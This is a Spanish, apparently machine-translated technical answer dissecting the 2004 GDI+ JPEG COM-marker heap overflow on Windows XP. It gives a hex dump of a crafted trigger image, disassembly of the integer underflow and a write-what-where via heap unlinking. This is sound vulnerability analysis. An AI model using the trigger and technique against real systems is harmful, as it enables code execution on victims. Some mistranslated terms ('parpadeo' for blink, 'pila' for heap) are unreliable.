Esta vulnerabilidad fue definitivamente un desbordamiento de montón .
¿Cómo es posible que escribir 0XFFFFFFFE bytes (4 GB !!!!) no bloquee el programa?
Probablemente lo hará, pero en algunas ocasiones tuvo tiempo para explotar antes de que ocurra el bloqueo (a veces, puede hacer que el programa vuelva a su ejecución normal y evitar el bloqueo).
Cuando se inicia memcpy (), la copia sobrescribirá algunos otros bloques del montón o algunas partes de la estructura de gestión del montón (por ejemplo, lista libre, lista de ocupados, etc.).
En algún momento, la copia encontrará una página no asignada y activará un AV (infracción de acceso) al escribir. Luego, GDI + intentará asignar un nuevo bloque en el montón (ver ntdll! RtlAllocateHeap ) ... pero las estructuras del montón ahora están desordenadas.
En ese momento, al crear cuidadosamente su imagen JPEG, puede sobrescribir las estructuras de administración de la pila con datos controlados. Cuando el sistema intente asignar el nuevo bloque, probablemente desvinculará un bloque (libre) de la lista libre.
Los bloques se gestionan con (notablemente) un flink (enlace de avance; el siguiente bloque de la lista) y un parpadeo (enlace de retroceso; el bloque anterior de la lista) punteros. Si controlas el parpadeo y el parpadeo, es posible que tengas una posible ESCRITURA4 (condición de escritura Qué / Dónde) donde controlas lo que puedes escribir y dónde puedes escribir.
En ese momento, puede sobrescribir un puntero de función ( SEH [Controladores de excepciones estructurados] eran un objetivo elegido en ese momento en 2004) y obtener la ejecución del código.
Ver la publicación de blog Corrupción en pilas: un estudio de caso .
Nota: aunque escribí sobre la explotación usando la lista libre, un atacante podría elegir otra ruta usando otros metadatos del montón ("metadatos del montón" son estructuras que utiliza el sistema para administrar el montón; flink y blink son parte de los metadatos del montón), pero la explotación de desvinculación es probablemente la más "fácil". Una búsqueda en Google de "explotación de montón" arrojará numerosos estudios sobre esto.
¿Esto escribe más allá del área del montón y en el espacio de otros programas y el sistema operativo?
Nunca. Los sistemas operativos modernos se basan en el concepto de espacio de direcciones virtuales, por lo que cada proceso tiene su propio espacio de direcciones virtuales que permite direccionar hasta 4 gigabytes de memoria en un sistema de 32 bits (en la práctica, solo tiene la mitad en la tierra del usuario, el resto es para el kernel).
En resumen, un proceso no puede acceder a la memoria de otro proceso (excepto si lo solicita al kernel a través de algún servicio / API, pero el kernel verificará si la persona que llama tiene derecho a hacerlo).
Decidí probar esta vulnerabilidad este fin de semana, para que pudiéramos tener una buena idea de lo que estaba pasando en lugar de pura especulación. La vulnerabilidad tiene ahora 10 años, así que pensé que estaba bien escribir sobre ella, aunque no he explicado la parte de explotación en esta respuesta.
Planificación
La tarea más difícil fue encontrar un Windows XP con solo SP1, como lo fue en 2004 :)
Luego, descargué una imagen JPEG compuesta solo por un solo píxel, como se muestra a continuación (corte por brevedad):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
Una imagen JPEG se compone de marcadores binarios (que introducen segmentos). En la imagen de arriba, FF D8
es el marcador SOI (Start Of Image), mientras que FF E0
, por ejemplo, es un marcador de aplicación.
El primer parámetro en un segmento de marcador (excepto algunos marcadores como SOI) es un parámetro de longitud de dos bytes que codifica el número de bytes en el segmento de marcador, incluido el parámetro de longitud y excluyendo el marcador de dos bytes.
Simplemente agregué un marcador COM (0x FFFE
) justo después del SOI, ya que los marcadores no tienen un orden estricto.
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
La longitud del segmento COM está configurada 00 00
para activar la vulnerabilidad. También inyecté 0xFFFC bytes justo después del marcador COM con un patrón recurrente, un número de 4 bytes en hexadecimal, que será útil cuando "explote" la vulnerabilidad.
Depuración
Hacer doble clic en la imagen activará inmediatamente el error en el shell de Windows (también conocido como "explorer.exe"), en algún lugar gdiplus.dll
, en una función llamadaGpJpegDecoder::read_jpeg_marker()
.
Esta función se llama para cada marcador en la imagen, simplemente: lee el tamaño del segmento del marcador, asigna un búfer cuya longitud es el tamaño del segmento y copia el contenido del segmento en este búfer recién asignado.
Aquí el inicio de la función:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
puntos de registro al tamaño del segmento y edi
es el número de bytes que quedan en la imagen.
Luego, el código procede a leer el tamaño del segmento, comenzando por el byte más significativo (la longitud es un valor de 16 bits):
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
Y el byte menos significativo:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
Una vez hecho esto, el tamaño del segmento se utiliza para asignar un búfer, siguiendo este cálculo:
alloc_size = tamaño_segmento + 2
Esto se hace mediante el siguiente código:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
En nuestro caso, como el tamaño del segmento es 0, el tamaño asignado para el búfer es 2 bytes .
La vulnerabilidad está justo después de la asignación:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
El código simplemente resta el tamaño del tamaño del segmento (la longitud del segmento es un valor de 2 bytes) del tamaño del segmento completo (0 en nuestro caso) y termina con un subdesbordamiento entero: 0 - 2 = 0xFFFFFFFE
Luego, el código verifica si quedan bytes para analizar en la imagen (lo cual es cierto), y luego salta a la copia:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
El fragmento anterior muestra que el tamaño de la copia es 0xFFFFFFFE fragmentos de 32 bits. El búfer de origen está controlado (contenido de la imagen) y el destino es un búfer en el montón.
Condición de escritura
La copia activará una excepción de infracción de acceso (AV) cuando llegue al final de la página de memoria (esto podría ser desde el puntero de origen o el puntero de destino). Cuando se activa el AV, el montón ya está en un estado vulnerable porque la copia ya ha sobrescrito todos los siguientes bloques de montón hasta que se encuentra una página no mapeada.
Lo que hace que este error sea explotable es que 3 SEH (manejador de excepciones estructurado; esto es try / excepto en el nivel bajo) están detectando excepciones en esta parte del código. Más precisamente, el 1st SEH desenrollará la pila para que vuelva a analizar otro marcador JPEG, omitiendo así por completo el marcador que desencadenó la excepción.
Sin un SEH, el código habría bloqueado todo el programa. Entonces, el código omite el segmento COM y analiza otro segmento. Entonces volvemos GpJpegDecoder::read_jpeg_marker()
con un nuevo segmento y cuando el código asigna un nuevo búfer:
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
El sistema desvinculará un bloque de la lista libre. Sucede que las estructuras de metadatos fueron sobrescritas por el contenido de la imagen; por lo que controlamos la desvinculación con metadatos controlados. El siguiente código en algún lugar del sistema (ntdll) en el administrador de almacenamiento dinámico:
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
Ahora podemos escribir lo que queramos, donde queramos ...